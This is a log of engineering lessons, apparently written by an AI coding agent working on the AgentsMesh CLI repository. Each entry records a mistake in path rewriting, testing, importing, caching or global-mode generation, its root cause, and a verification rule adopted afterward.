- **Live generated targets must be checked after capability changes**: I claimed Continue/Junie reference rewriting was correct based on targeted tests, but the real generated repo still leaked `.agentsmesh/skills/...` links because those targets did not actually emit any skill artifacts. Root cause: I verified synthetic round trips without checking the live target outputs against the actual configured feature set. Rule: whenever a rewrite fix depends on target capability coverage, regenerate the real repo artifacts and grep the exact reported path pattern in the affected target files before declaring success.
- **Large-extend failures can come from generate-time caches, not import**: I initially treated the Codex remote-extend crash as an import/layout problem, but the cached repo had already imported into `.agentsmesh/skills`; the actual heap blowup came later when `rewriteGeneratedReferences()` rebuilt the full artifact map once per output file. Root cause: I inspected the import surface first and did not measure where the large canonical payload was consumed during generation. Rule: when a big extend triggers OOM, verify whether cached canonical import already succeeded, then audit per-output generation/rewrite caches before changing importer behavior.
- **JSDoc `/*` in block comments**: Using `/*` inside a JSDoc block (e.g. `.agentsmesh/skills/*/SKILL.md`) starts a nested block comment and breaks parsing. Reword to avoid (e.g. `skills/{name}/SKILL.md` or `glob: *.md`).
- **Branch coverage gaps**: To reach 85% branch coverage from ~79%, add tests for: remote-fetcher catch block (offline fallback path), engine.ts uncovered branches, merger/validate-rules, version.ts (both dist/src paths). Unit tests that call runGenerate/runWatch directly (same process) contribute to coverage; integration tests using execSync run in a subprocess and do not.
- **Nested fixture searches**: I incorrectly concluded `root-ab` had no skills because I used `find -maxdepth 3`, which hid `skills/{name}/SKILL.md` and nested reference files. Root cause: bounded search depth on nested fixture structures. Rule: when auditing fixture coverage, use a full-depth listing first or set depth high enough to include nested skill/reference files before drawing conclusions.
- **Canonical skills source**: I added `add-agent-target` only under `.agents/skills/`, which made it a target-specific artifact instead of canonical source data. Root cause: I optimized for local skill discovery and ignored the repo rule that `.agentsmesh/` is the source of truth. Rule: when adding or editing reusable repo skills, put the canonical copy in `.agentsmesh/skills/` first, then generate or align target-specific skill directories from there.
- **Parallel test isolation**: I ran the isolated watch test and the full Vitest suite in parallel even though they use the same fixed temp directory (`ab-watch-cmd-test`). Root cause: I parallelized verification without checking whether the tests shared filesystem state. Rule: never run test commands in parallel when they touch the same temp paths, ports, caches, or repo artifacts.
- **Fixture tree deletion**: I tried to remove the obsolete `root-ab` fixture with a shell `rm -rf`, and the environment blocked it as a destructive command. Root cause: I switched from the repo's patch-based editing workflow to a destructive shell command for tracked files. Rule: when deleting tracked fixture trees in this repo, remove them with `apply_patch` file deletions instead of shell `rm -rf`.
- **Targeted e2e runs use built output**: I ran new e2e slices immediately after patching source and misread failures because `tests/e2e/helpers/run-cli.ts` executes `dist/cli.js`, not source files. Root cause: I forgot that ad hoc `vitest` e2e runs do not build automatically the way `pnpm test:e2e` does. Rule: whenever e2e assertions exercise the CLI binary directly, run `pnpm build` before targeted e2e slices or use `pnpm test:e2e`.
- **Parallel e2e races on dist/**: I ran a targeted e2e slice in parallel with `pnpm test:e2e`, and the full run's `pnpm build` cleaned `dist/` mid-test, causing false CLI "module not found" failures. Root cause: I parallelized verification steps that share the same built output directory. Rule: never run two CLI e2e commands in parallel in this repo; serialize anything that reads `dist/cli.js` or rebuilds `dist/`.
- **CLI integration slices also require fresh dist/**: I ran targeted integration tests after changing CLI behavior and misread a missing generated prompt as an implementation bug, but the cause was stale `dist/cli.js`. Root cause: I remembered the e2e build rule and forgot that integration tests using `node dist/cli.js` have the same dependency. Rule: rebuild with `pnpm build` before any targeted CLI integration or e2e slice whenever source affecting `dist/cli.js` changed.
- **Watch must ignore generated lock artifacts**: Watch mode spammed `Nothing changed`/`Regenerated` in a loop because it observed `.agentsmesh/.lock`, and `generate` rewrites that file atomically on every pass (`.lock.tmp` then `.lock`). Root cause: the watcher subscribed to the whole `.agentsmesh/` tree without excluding its own bookkeeping files. Rule: whenever watch observes canonical config directories, explicitly ignore internal generated artifacts like `.agentsmesh/.lock` and adjacent temp files so self-generated writes cannot retrigger the pipeline.
- **Support-level changes require a full target audit**: I updated the compatibility matrix for embedded agent support but initially left target-specific lint messaging behind, which would have continued warning that the same features were unsupported. Root cause: I treated matrix/docs as the whole support contract and did not audit target diagnostics alongside generator/importer behavior. Rule: whenever a target's support level changes, update and verify the matrix, docs, generator, importer, and target-specific linter messaging together.
- **Remote cache compatibility matters**: I broadened remote extend support and accidentally changed the GitHub cache-key layout, which broke reuse of already-cached GitHub extends and caused refresh tests to look in the wrong directory. Root cause: I generalized the cache naming scheme without preserving the existing GitHub on-disk contract. Rule: when refactoring cache-backed features, preserve existing cache paths for supported providers unless an explicit migration is added and verified.
- **Node globals are not implicit in this lint setup**: I used `URL` directly in new config helpers and lint failed with `no-undef`. Root cause: I assumed Node's runtime global would satisfy the repo's ESLint environment. Rule: when adding Node platform globals in source files here, import them explicitly from the relevant `node:` module instead of relying on ambient globals.
- **Union type refactors need serializer narrowing**: I widened `McpServer` to support URL-based transports, but left the Codex TOML serializer accepting the broad union and only caught it when `pnpm typecheck` failed on `server.command`/`server.args`. Root cause: I updated the source model without re-narrowing downstream sink functions that require a specific variant. Rule: whenever a core type becomes a union, add explicit type guards at every serializer/generator boundary and rerun `pnpm typecheck` before claiming the refactor is done.
- **Reference rewrite audits must check real generated prose, not only exact file refs**: I declared `.agentsmesh/...` reference rewriting fixed, but the generated root instructions still contained skill directory links like `.agentsmesh/skills/post-feature-qa/`. Root cause: my tests covered exact file paths (`SKILL.md`, supporting files) and missed directory-style references used in the actual canonical root rule text. Rule: whenever path rewriting is added or changed, search real canonical content for path patterns and add tests for both exact files and directory-form references before calling the feature complete.
- **Shared artifact collision checks must compare canonicalized rewritten content**: I treated Codex/Windsurf `AGENTS.md` overlaps as ordinary file collisions after adding target-specific reference rewriting, which broke generation even when both outputs came from the same canonical root rule and only differed by rewritten target paths. Root cause: collision handling compared post-rewrite bytes without considering that some overlapping compatibility artifacts intentionally project the same canonical content through different target-specific links. Rule: whenever multiple targets share one output path, add coverage for rewritten-content overlaps and compare the outputs after normalizing target-specific references back to canonical paths before deciding they truly conflict.
- **Fixture-driven e2e requests should use the richest existing fixtures first**: I initially added import-reference e2e coverage with a synthetic inline project even though the user asked for the richest structure fixtures. Root cause: I optimized for speed and forgot that realistic fixture layouts are part of the requirement when verifying path-heavy behavior. Rule: when a user asks for e2e coverage over realistic structures, start from the richest existing fixture and only mutate the copied temp fixture as needed instead of inventing a smaller synthetic project.
- **Import-side reference normalization must not rewrite bare root filenames in prose**: I normalized `AGENTS.md` and similar root artifact names as raw substrings, which changed ordinary prose like `# Windsurf via AGENTS.md` into canonical paths. Root cause: the reverse rewriter treated root filenames as stable path tokens even though they are common standalone words in instructions. Rule: in import-side reference maps, only normalize target paths that uniquely identify canonical artifacts; do not rewrite bare root filenames like `AGENTS.md`, `CLAUDE.md`, `.windsurfrules`, or `GEMINI.md` unless they appear in a more structured path form.
- **Refactor follow-through includes test helper APIs**: I replaced the string-based import reference helper with a file-aware normalizer, but left one unit test file calling the removed function and only caught it during the full `pnpm test` run. Root cause: I updated behavior-facing tests first and forgot to audit direct unit tests that imported the old helper by name. Rule: whenever a core helper API is replaced or removed, run a targeted search for all direct imports/usages and update those tests before relying on the broader suite.
- **Cleanup passes still need typecheck**: I removed projected-agent rebasing bugs, but left unused destructuring behind in two importers and only caught it at the end of `pnpm typecheck`. Root cause: I treated a small cleanup as harmless after tests passed and deferred type-level verification too late. Rule: after any refactor that changes parsing/normalization control flow, rerun `pnpm typecheck` immediately after the code edits, even if the logic change seems minor.
- **Generated-source maps must include every emitted artifact path, not just primary target files**: I mapped Windsurf root rules only to `.windsurfrules`, which left the additional shared `AGENTS.md` outputs outside the generate-side rebasing pass and caused false Codex/Windsurf collisions after import-normalized relative links. Root cause: I treated the reference map as equivalent to the generator's full output set and forgot that one canonical rule can emit multiple artifacts. Rule: whenever a target generates more than one file from the same canonical source, audit the output-source map against the full generator output list so every emitted path participates in rewriting and collision logic.
- **Contract changes must audit “unchanged by design” cases separately from successful rewrites**: I updated the link contract to use project-root paths and initially changed several expectations for references that are intentionally left untouched when the target file does not exist, such as missing checklist refs and the fixture’s invalid `../SKILL.md`. Root cause: I treated all relative-looking references as resolvable without re-checking the existence-based guard in the rewriter. Rule: whenever the link normalization contract changes, explicitly audit both categories: links that should rewrite and links that should stay unchanged because resolution fails.
- **Root-relative link contracts need root-first resolution for bare multi-segment paths**: After switching generated links to project-root-relative paths without a leading slash, I still resolved tokens like `src/AGENTS.md` relative to nested source files, which broke Codex skill imports and only showed up in the rich e2e fixture. Root cause: the resolver only treated known dot-prefixed prefixes as root-relative and assumed other multi-segment paths were source-relative. Rule: when the contract says generated internal links are project-root-relative, resolve bare multi-segment paths from the project root first, then fall back only when the root candidate is not valid, and add nested-file tests for cases like `src/AGENTS.md` and `docs/...`.
- **Multi-output targets need per-output rewrite maps, not just per-target maps**: Copilot emits both `.github/copilot/*.instructions.md` and `.github/instructions/*.md` from the same canonical rule, and I initially cached the rewrite map only by target, which left the new output family using the wrong translation rules and skipping path normalization. Root cause: I assumed one canonical-to-target artifact map was sufficient for every file a target emits. Rule: whenever a target can generate multiple artifact families from the same canonical source, build and cache rewrite maps per output path or per artifact family, and add tests for each emitted path family.
- **Import normalization must map realpath variants of generated artifacts**: I expanded the path rewrite matrix and then left import normalization keying only on joined target paths, which failed in temp-workspace runs where referenced files resolved through a realpath variant and stayed target-specific after import. Root cause: the import artifact map did not canonicalize both direct and realpath forms of generated file paths before translation. Rule: whenever path translation depends on filesystem lookups, include both normalized and realpath variants in the lookup map and add tests that exercise absolute in-project paths through the importer.
- **Path tokenizers must exclude standalone separators used as prose markers**: I treated the leading `/` branch in the shared link regex as “any slash,” which caused status text like `✓ / ✗` to enter the rewrite pipeline and be reported as a missing path. Root cause: the absolute-path branch did not require any actual path segment after `/`. Rule: when broadening path detection, require enough structure to distinguish real file references from prose separators, and add regression tests for marker text like `✓ / ✗`.
- **Cross-platform path fixtures must use valid paths for each file location**: I added Windows-style e2e coverage and briefly used `..\\SKILL.md` from inside `skills/api-generator/template.ts`, which is not a valid sibling reference and caused a false failure that looked like a resolver bug. Root cause: I translated a POSIX relative-path pattern into Windows separators without re-checking the file’s actual directory structure. Rule: when adding cross-platform path tests, validate each fixture path against the real file tree first and only assert normalization on paths that genuinely resolve.
- **URI-skip patterns must not swallow Windows drive letters**: I added protected ranges for external refs like `ssh://...` and `git@github.com:...`, but the first scheme regex also matched `C:` and blocked legitimate Windows absolute paths from being rewritten. Root cause: I treated any single-letter scheme prefix as a URI without separating it from Windows drive syntax. Rule: when protecting URI-like references in this codebase, keep the scheme matcher distinct from drive-letter path detection and add a regression test that covers both in the same file.
- **Real canonical content can contain over-traversal relative refs that still mean repo-root files**: I declared the path rewrite matrix complete, but a checked-in skill still used `../../../../docs/agents-folder-structure-research.md` and generation/import left it unchanged. Root cause: the resolver only tried source-relative normalization for `../` paths and never retried from the repo root when the normalized path escaped above the workspace. Rule: whenever relative-link handling changes, include over-traversal cases from real canonical files in both unit and all-target generate/import matrices, and add a project-root fallback candidate for `../` refs that escape the repo but match an in-repo path.
- **Rewrite-contract changes need a second pass over edge-case suites**: I changed inline-code path rewriting and updated the main unit/e2e coverage first, but left `link-rebaser-edge-cases.test.ts` asserting the old protected-inline behavior and only caught it during the repo-wide `pnpm test` run. Root cause: I audited the primary behavior tests and forgot the separate edge-case suite that codifies the same contract. Rule: whenever the link-rewriter protection contract changes, search both the main rewrite tests and `link-rebaser-edge-cases` for matching expectations before running the full suite.
- **Format-contract work needs the research and round-trip suites, not only e2e slices**: I aligned the generators/importers and got the focused e2e suite green, but `pnpm test` still failed because `tests/agents-folder-structure-research.test.ts` and `tests/import-generate-roundtrip.test.ts` were asserting the legacy file layouts. Root cause: I treated the main e2e matrix as the full contract and forgot the separate research/round-trip suites that also codify official target formats. Rule: whenever a target file-structure contract changes, update and run the research, round-trip, unit, integration, and e2e suites before declaring verification complete.
- **Generated-structure tests must assert exact artifact sets**: Copilot hook coverage passed while still missing the guarantee that every JSON-referenced wrapper script exists, because the tests only checked that some hook files existed. Root cause: the suite used loose structural assertions (`some`, prefix matches, "at least one") instead of exact path lists and exact counts. Rule: whenever a test verifies generated files or directories, assert the exact relative path set and exact count, and cross-check referenced artifacts like hook wrapper scripts against the config that points to them.
- **Parallel generators for one feature must share the same entry filter**: Copilot hook JSON generation treated empty-string commands as valid because it only checked `typeof command === "string"`, while wrapper generation skipped falsy commands and silently produced fewer files. Root cause: two outputs for the same canonical hook set implemented their own “is this hook runnable?” logic. Rule: whenever one canonical feature emits multiple artifact families, centralize the eligibility predicate and add a regression test that compares the referenced artifact list against the emitted files.
- **Target research must separate similarly named products and runtimes**: I answered questions about Codex MCP by mixing the generated `codex-cli` target contract with the current Codex desktop chat runtime, which uses a different configuration surface. Root cause: I treated the target name as equivalent to the active runtime instead of verifying the exact product surface. Rule: when researching or documenting a target, first identify whether the task is about CLI, desktop app, chat product, or repo artifact generation, and verify MCP/config paths for that exact surface before making claims.
- **Exact e2e tree assertions must account for generated lock artifacts**: I added a strict Junie generate e2e assertion and forgot that `generate` writes `.agentsmesh/.lock`, so the otherwise-correct target output failed the exact tree check. Root cause: I copied the canonical tree expectation without auditing the post-generate bookkeeping artifacts that the CLI always emits. Rule: whenever an e2e test asserts the exact generated repo tree, include `.agentsmesh/.lock` if the command under test runs `generate`.
- **Dropped target metadata needs an explicit lint warning**: Codex CLI was silently discarding MCP `description` fields during generation because the target serializer does not project them into `.codex/config.toml`, and I initially explained the behavior without surfacing it through diagnostics. Root cause: I treated unsupported metadata as an implementation detail instead of part of the target contract users need to see during linting. Rule: whenever a target generator intentionally drops canonical metadata, add or update a target-specific lint warning and cover it with unit plus CLI e2e tests.
- **Re-import tests must cover existing canonical metadata, not only empty-project round trips**: Cursor command re-import looked fine in empty-project import tests, but it still stripped `description` and `allowed-tools` when importing generated body-only target files back into an existing `.agentsmesh` tree. Root cause: I tested import completeness and empty-project round trips, but not the real user flow where import overwrites existing canonical files. Rule: whenever a target format cannot represent all canonical metadata, add strict tests that re-import into an existing canonical project and verify unsupported fields are preserved from the canonical destination instead of being erased.
- **Importers must clean stale reserved artifacts when the canonical mapping changes**: After fixing the Codex importer to stop creating hidden/fixture scoped rules and `_ab-*` canonical skill dirs, a live re-import still showed the bad folders/files because the importer only added new outputs and never removed the stale ones from earlier buggy runs. Root cause: I treated import as write-only and forgot that reserved generated names like `_ab-agent-*`, `_ab-command-*`, and skipped scoped-rule names need cleanup on re-import. Rule: when an importer maps reserved/generated source artifacts back into canonical files, add strict re-import tests that preseed stale outputs and verify the importer removes them.
- **Shared importer rules belong in shared code, not copy-pasted per target**: Windsurf had the same hidden/fixture scoped-`AGENTS.md` and stale `_ab-agent-*` cleanup bug right after Codex because both targets implemented parallel importer logic separately. Root cause: I fixed one importer locally instead of extracting the shared contract. Rule: when two targets implement the same import pattern, move the filter/cleanup logic into a shared helper and verify both targets against the same strict regression cases.
- **Import normalization must recover from polluted generated artifacts across target boundaries**: I fixed Codex/Windsurf root imports but still left the repo vulnerable when a different target like `cline` or `claude-code` re-imported a generated root file that already contained Codex-style `.agents/...` links. Root cause: import normalization only loaded rewrite maps for the source target, assuming generated artifacts were pristine and same-family. Rule: when importing any target artifact, build the normalization map from every supported generated path family so re-import can always recover canonical `.agentsmesh/...` links from previously polluted outputs.
- **Coverage matrices must include root-rule references inside non-root files for every target**: I already had broad import/generate rewrite tests, but they still missed Copilot leaving `.github/copilot-instructions.md` inside canonical skill prose because the matrix did not combine exact file-structure assertions with richer cross-file root-rule references for every target on one round trip. Root cause: coverage was split across several suites, each strong locally but not strict enough about the full target contract. Rule: when validating target contracts, add a per-target e2e matrix that checks exact generated files, exact imported canonical files, and representative root/agent/skill link canonicalization on the same generate→import flow.
- **Empty hook commands must be rejected by shared logic, not per-target guesses**: A `Notification` hook with `command: ""` kept reappearing because canonical parsing and Gemini import/generate only checked `typeof command === "string"`, while other paths skipped falsy commands. Root cause: hook eligibility was duplicated across parser, importer, and generator code with different definitions of “valid command”. Rule: centralize trimmed hook command extraction in one helper and use it everywhere hooks are parsed, imported, linted, or generated, with strict tests for empty-string and whitespace-only commands.
- **Canonical booleans should be path-derived and explicit**: Non-root canonical rules drifted between `root: false` and no `root` field at all because each importer serialized rule frontmatter differently. Root cause: the canonical rule contract depended on per-target importer habits instead of one shared serializer. Rule: whenever a canonical field is derivable from the canonical destination path or artifact kind, derive and serialize it in one shared helper and add cross-target tests that assert the exact canonical frontmatter contract.
- **Target feature expansion must update both rewrite path maps and import scanners**: I added Junie commands/agents generation but initially missed reference-map path projection and non-root rule import scanning, which left generated links un-rewritten and round-trip imports incomplete. Root cause: I implemented generator/importer surface files first and forgot the shared path-translation contracts used by rewrite and import normalization. Rule: whenever enabling a new artifact family for a target, update `reference-map-targets` + import-reference map builders + importer scanners together, then verify with target-contract matrix e2e.
- **Shared install-persistence changes need the full entity matrix rerun**: I normalized manual single-item installs to persist their parent collection path plus explicit picks, but initially only updated the command regression and left agent/rule/skill matrix tests asserting the old file-path behavior. Root cause: I verified the user-reported entity in isolation instead of rerunning the broader manual install suites that share the same persistence contract. Rule: whenever install manifest or pack persistence semantics change, rerun and update the full agents/commands/rules/skills matrix, including sibling-item amend cases.
- **Pack naming must describe scope, not whichever item was installed first**: Manual single-item installs were naming packs from the first picked entity, which made sibling-item amendments keep misleading folder names like `repo-code-standards-enforcer` even after the pack grew into a broader collection. Root cause: auto-generated install names reused first-pick naming that works for individual extends entries but not for materialized pack containers. Rule: generate pack names from stable source identity plus normalized install scope, and cover root, scoped, and sibling-amend flows in tests.
- **Stable repo-feature naming requires multi-path provenance, not just a new string format**: I first moved pack names away from first-picked-item naming, but the user wanted all same-repo/same-feature installs to append into one pack, which breaks replay if manifest metadata still stores only one path. Root cause: pack naming and install identity were coupled to a single-path persistence model. Rule: when pack identity is broader than one path, persist aggregated `paths`, match packs by repo identity + feature set, and test sync replay across multiple folders of the same repo/feature.
- **Feature-specific linting must not be nested under unrelated feature gates**: I found that `runLint()` skipped command, MCP, permission, and hook diagnostics whenever `rules` was disabled because the whole per-target loop was gated on `hasRules`. Root cause: lint orchestration mixed per-target dispatch with a single feature guard instead of evaluating each lint family independently. Rule: when a command validates multiple canonical features, gate each lint family by its own feature flag and add a regression test for configs that enable non-rule features without `rules`.
- **Legacy sync replay needs compatibility for umbrella skill folders with nested child skills**: A persisted manual skill install could replay `path: skills/engineering` plus `pick.skills: [release-manager]`, but current staging treated `skills/engineering` as a single skill because it contains its own `SKILL.md`, so sync failed with `No resources match...`. Root cause: manual skill discovery only modeled “single skill” versus “skill collection” from the current folder shape and ignored legacy replay picks that target descendant skills. Rule: when replaying manual skill installs, let saved picked skill names disambiguate umbrella skill containers with nested child skills, and cover the legacy manifest shape with both staging and sync regression tests.
- **Strict install assertions must follow the persisted manifest contract, not assumptions from config or source paths**: While tightening install tests, I initially assumed manual installs would always persist fields like `target`, normalized `path`, and alphabetized picks, which caused new regressions in the hardening pass. Root cause: I wrote stricter expectations from inferred intent instead of checking the actual serialized manifest contract for each install mode. Rule: when converting loose manifest assertions into exact ones, inspect the real persisted entry shape first and lock tests to that observed contract, including field omission and ordering behavior.
- **Replay-scoped installs must carry the narrowed canonical all the way into pack materialization**: I fixed sync replay selection for saved `features`/`pick`, but pack reinstall still wrote unrelated settings like `mcp` and `ignore` because `runInstall()` passed the pre-replay canonical into `installAsPack()`. Root cause: replay narrowing was only applied to pool selection and diagnostics, not to the canonical payload persisted into the pack. Rule: whenever replay or scoped install narrows canonical features, pass that narrowed canonical through every downstream write/materialization path and add a regression test that proves excluded settings are absent from the resulting pack.
- **Manual skill replay must recover picked descendants from collection roots, not only umbrella skill folders**: I fixed nested replay for `path: skills/engineering` but missed the live manifest case `path: skills` with `pick.skills: [release-manager]`, where the selected skill lives under `skills/engineering/release-manager`. Root cause: the replay staging helper only special-cased roots that themselves had `SKILL.md`, and collection-root staging still copied top-level directories instead of exact picked descendants. Rule: when replaying manual skill installs with preferred picks, search all descendant `SKILL.md` paths under the source root and stage the exact matched skill directories whenever the requested names resolve uniquely.
- **Do not trust `install --sync --dry-run` to be side-effect free without proving it**: I used the built CLI with `install --sync --dry-run --force` to validate the live manifest and it still rewrote pack state in the workspace, forcing a manual restoration of those files. Root cause: I assumed dry-run semantics were enforced consistently on the sync replay path without first checking the actual CLI behavior. Rule: when validating sync replay in this repo, use isolated temp projects or inspect the implementation first; only run the live workspace command after confirming dry-run really short-circuits writes.
- **Manual install persistence and staging must agree on skill naming**: Manual skill installs persisted `pick.skills: [basename(contentRoot)]` while staging used `readSkillFrontmatterName()`, so the persisted pick never matched the staged skill when the SKILL.md had a frontmatter `name` field. Root cause: two independent code paths derived the skill name from different sources without sharing a helper. Rule: whenever install staging derives a skill name from frontmatter, the persistence layer must use the same derivation so pick values match the materialized pack tree.
- **Pack skill artifact paths must appear in the rewrite map alongside canonical paths**: Generated skill files referenced `.agentsmesh/packs/.../skills/.../reference/...` instead of target-relative paths because `buildArtifactPathMap` only mapped canonical `.agentsmesh/skills/...` paths. Pack skills have `source` pointing into `.agentsmesh/packs/`, and the link rebaser resolves relative refs against the actual source path. Root cause: the artifact map assumed all skill paths would be canonical-form, ignoring pack-form absolute paths. Rule: whenever skills can originate from packs, add pack-path→target-path entries to the artifact map so the reference rewriter can translate both canonical and pack absolute paths.
- **Generated root-instruction decorations must be stripped on import back to canonical**: After adding Codex rule indexes and rerunning the target-contract matrix, imported `_root.md` files for several targets still contained the generated AgentsMesh paragraph and failed canonical link-cleanliness assertions. Root cause: generation decorates primary root instruction files, but shared import serialization wrote those decorations back into `.agentsmesh/rules/_root.md` unchanged. Rule: whenever root instruction outputs gain generated sections or decoration, strip them in the shared root-rule import path before serializing canonical `_root.md`, and cover it with round-trip e2e tests.
- **Auxiliary rule folders must not duplicate a target's primary root file unless the spec explicitly asks for it**: I initially mirrored Codex `_root.md` into `.codex/instructions/` even though Codex already uses `AGENTS.md` as the main instruction file and the user only wanted additional rules there. Root cause: I interpreted "all canonical rules" literally instead of preserving the target's established root surface and the user's scope correction. Rule: when adding a secondary rule projection folder for a target with an existing primary root file, default to mirroring only non-root/additional rules unless the spec explicitly requires a root duplicate.
- **Dist-backed e2e and integration runs require a rebuild before trusting failures**: I fixed the Gemini importer in `src/` and kept seeing the old failure because the e2e harness executes `dist/cli.js`, not the source tree directly. Root cause: I reran targeted dist-backed tests after source edits without rebuilding, so I was debugging stale output instead of the current code. Rule: after any CLI behavior change, run `pnpm build` before interpreting e2e or integration results that invoke `dist/cli.js`.
- **User corrections about target-native filenames must override stale repo assumptions everywhere**: The repo still used `.cline/mcp_settings.json` across code, tests, and docs after the user clarified that Cline should use `cline_mcp_settings.json`. Root cause: target-native filename assumptions had drifted and were repeated in multiple layers without one explicit correction pass. Rule: when a user corrects a target-native path or filename, update the constant first and then sweep generators, importers, stale-cleanup, tests, and docs in the same change so the contract cannot stay split-brained.
- **Watch `vi.waitFor` thresholds must survive `pnpm test:coverage`**: `runMatrix` and `Regenerated.` assertions in `watch.test.ts` passed under plain `pnpm test` but timed out at 3000 ms when the same suite ran with coverage instrumentation. Root cause: coverage slows the process enough that chokidar debounce plus generate occasionally exceeded the minimum wait budget. Rule: keep watch unit `vi.waitFor` timeouts comfortably above 3000 ms (for example 8000 ms) and idle-stability delays at least 3000 ms when those tests must gate release prep and CI coverage.
- **Resolve merge markers before trusting any verification result**: `pnpm build` failed immediately on `src/core/generate/output-overlap.ts` because unresolved `<<<<<<<` conflict markers were left in the source file. Root cause: an incomplete merge left the workspace in a syntactically invalid state, so higher-level debugging would have been noise. Rule: when a build or test fails with parser errors, scan the touched files for merge markers first and clear them before deeper investigation.
- **Descriptor `rewriteGeneratedPath` must import every constant it references**: Cursor global generation failed at runtime with `ReferenceError: CURSOR_COMPAT_AGENTS is not defined` because the global layout branch referenced `CURSOR_COMPAT_AGENTS` without adding it to `index.ts` imports. Root cause: the global layout lived alongside project constants but the import list was not re-audited when the branch was added. Rule: after any target `rewriteGeneratedPath` or layout edit, run `pnpm exec vitest run` for that target’s `generate --global` CLI test (or add one) and `pnpm typecheck`; treat missing symbol imports as a release gate.
- **Global import must not treat `homedir()` like a repo root for recursive scans**: `agentsmesh import --from codex-cli --global` passed `homedir()` as `projectRoot`, and nested `AGENTS.md` import used `readDirRecursive(homedir())`, blowing the stack on symlink cycles under `~/.cache` and scanning the entire home tree. Root cause: project-only nested discovery was wired without a `scope === 'global'` guard. Rule: when `scope` is `global`, only read tool-native subtrees under the home root (e.g. `~/.codex`, `~/.agents/skills`); never run whole-tree `importFileDirectory` / `readDirRecursive` from `homedir()` for nested package rules.

- **Global mode implementation requires TargetCapabilities import**: When implementing global mode for roo-code, I initially forgot to import `TargetCapabilities` type from `target.interface.js`, which caused a TypeScript compilation error. Root cause: I copied the pattern from Junie but didn't verify all required imports were present. Rule: when implementing global mode for a target, ensure all required types are imported (`TargetCapabilities`, `TargetLayout`) and run `pnpm typecheck` immediately after adding the global layout configuration.

- **Global mode implementation follows a consistent pattern across targets**: When implementing global mode for Gemini CLI, I followed the established pattern from Copilot and other targets: (1) add global path constants, (2) create a `global` layout with `rewriteGeneratedPath` to transform project paths to global paths, (3) add `mirrorGlobalPath` for cross-agent skill mirroring, (4) define `globalCapabilities`, (5) add `globalDetectionPaths`, and (6) update help text and documentation. Root cause: the codebase has a well-established pattern for global mode that works consistently across all targets. Rule: when adding global mode to a new target, follow the existing pattern from targets like Copilot, Cursor, or Roo Code, ensuring all components (constants, layout, capabilities, detection, docs) are updated together, and verify with the full test suite.

- **Global mode paths must be namespaced to avoid conflicts between targets**: When implementing Gemini CLI global mode, it initially conflicted with Antigravity because both tried to write to `~/.gemini/GEMINI.md`. Root cause: Antigravity (a Gemini-based tool) was using the top-level `.gemini/GEMINI.md` path instead of a namespaced path like `.gemini/antigravity/GEMINI.md`. Rule: when multiple targets share a common parent directory in global mode (like `.gemini/`), each target must use a namespaced subdirectory to avoid path collisions. The collision detection in `src/core/generate/collision.ts` only handles `AGENTS.md` files specially, so other conflicts will throw errors. Always namespace global paths: Antigravity → `.gemini/antigravity/`, Gemini CLI → `.gemini/` (root level since it's the native tool).

- **Structure validation tests must match actual target generator APIs**: When creating structure validation tests for all targets, I initially assumed all targets exported the same set of generator functions (generateCommands, generateAgents, generateSettings, generateIgnore, etc.). However, each target has its own API surface - some use `generateWorkflows` instead of `generateCommands`, some combine settings into other functions, and some use different file formats (TOML vs YAML vs JSON). Root cause: I created tests based on a generic pattern without first auditing each target's actual exports. Rule: before writing tests for multiple similar modules, first audit the actual API surface of each module and create tests that match their real interfaces, not assumed interfaces.

- **Global mode structure validation tests must use the engine's `generate()` function, not `runGenerate()`**: When creating structure validation tests for global mode, I initially tried to use `runGenerate()` from the CLI commands, but that returns an exit code (Promise<number>), not the generated files. Root cause: I assumed the CLI command would work the same way as the generator functions used in project-mode tests. Rule: for global mode structure validation tests, use `generate()` from `src/core/generate/engine.ts` with `scope: 'global'`, and create a `makeConfig()` helper that returns a ValidatedConfig object with the target and features configured.
- **Test helper functions like `findGeneratedFile` expect specific parameter formats**: The `findGeneratedFile` helper accepts either a plain string for exact path matching, or an object with `stringContaining` or `stringMatching` properties. I initially used `{ exactPath: '...' }` which doesn't exist. Root cause: I didn't check the actual function signature before using it. Rule: when using test helper functions, check their actual parameter types first - for `findGeneratedFile`, use a plain string for exact matches, not `{ exactPath: string }`.
- **Refactors must move every runtime dependency with the code, not just types**: While splitting link rebaser formatting helpers into a smaller module, focused tests failed with `ReferenceError: normalizeSeparators is not defined` because a preservation branch still used the helper after its import was removed. Root cause: I treated the split as mostly mechanical and did not immediately rerun the focused suite before expanding verification. Rule: after extracting helpers, scan the remaining file for every moved symbol and run the narrowest affected test suite before broader checks.
- **`tmpdir` is from `node:os`, not `node:path`**: Multiple new tests failed with `TypeError: tmpdir is not a function` because `tmpdir` was imported from `node:path` instead of `node:os`. Root cause: copy-paste error when creating test boilerplate. Rule: always import `tmpdir` from `node:os`, `join`/`resolve` from `node:path`.
- **Builtin target fallback in `resolveGen` must not bypass conversion config**: When adding a plugin registry fallback in `engine.ts`, the fallback also matched builtin targets (via `getDescriptor` which checks builtins), bypassing `resolveTargetFeatureGenerator`'s conversion logic (e.g., `commandsToSkills: false`). Root cause: `getDescriptor` returns builtin descriptors as fallback, so the double-lookup re-applied the raw generator even when conversions disabled it. Rule: in `resolveGen`, check `getBuiltinTargetDefinition(target)` first; if present, delegate entirely to `resolveTargetFeatureGenerator(target, feature, config)` so conversion config is always respected.
- **Architecture reviews must read the load-bearing files, not trust agent surface scans**: I issued an architectural review claiming there was no process-level mutex on global generate, but `acquireProcessLock` already exists in `src/utils/filesystem/process-lock.ts` (atomic-mkdir + stale recovery + signal cleanup) and is wired into both branches of `runGenerate`. Same review flagged Continue as missing `rewriteGeneratedPath`, but Continue's project and global layouts both use `.continue/...` paths so no rewrite is needed — `rootBase` substitution alone produces the correct `~/.continue/...` location. Root cause: I synthesized claims from a research agent's output instead of verifying load-bearing files (`process-lock.ts`, the target's `constants.ts`) directly. Rule: for any "X is missing" claim in an architectural review, open the file/symbol that would implement X and confirm absence before reporting; agent summaries describe what they intended to verify, not what is actually true.
- **`mirrorGlobalPath` checks the FILTERED active-targets list, not the configured set**: My first dual-mirror test used `targetFilter: ['copilot']` to "simulate" generating Copilot while codex-cli was also configured, expecting the mirror to skip. It failed because `feature-loop.ts` passes the post-filter `targets` array to `mirrorGlobalPath`, so codex-cli was no longer "active" from the callback's view, and the mirror was emitted. Root cause: I conflated "configured target" with "active target during this generate run". Rule: when testing `mirrorGlobalPath` codex-cli skip behavior end-to-end, list both targets in `config.targets` and do NOT use `targetFilter` — mirror eligibility is derived from what's actively being generated, not what's configured-but-filtered-out.
